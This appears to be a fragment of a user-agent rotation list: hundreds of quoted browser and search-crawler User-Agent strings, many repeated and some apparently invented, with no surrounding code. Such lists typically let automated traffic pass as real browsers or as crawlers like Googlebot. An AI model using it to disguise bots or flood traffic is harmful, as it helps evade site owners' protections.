'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
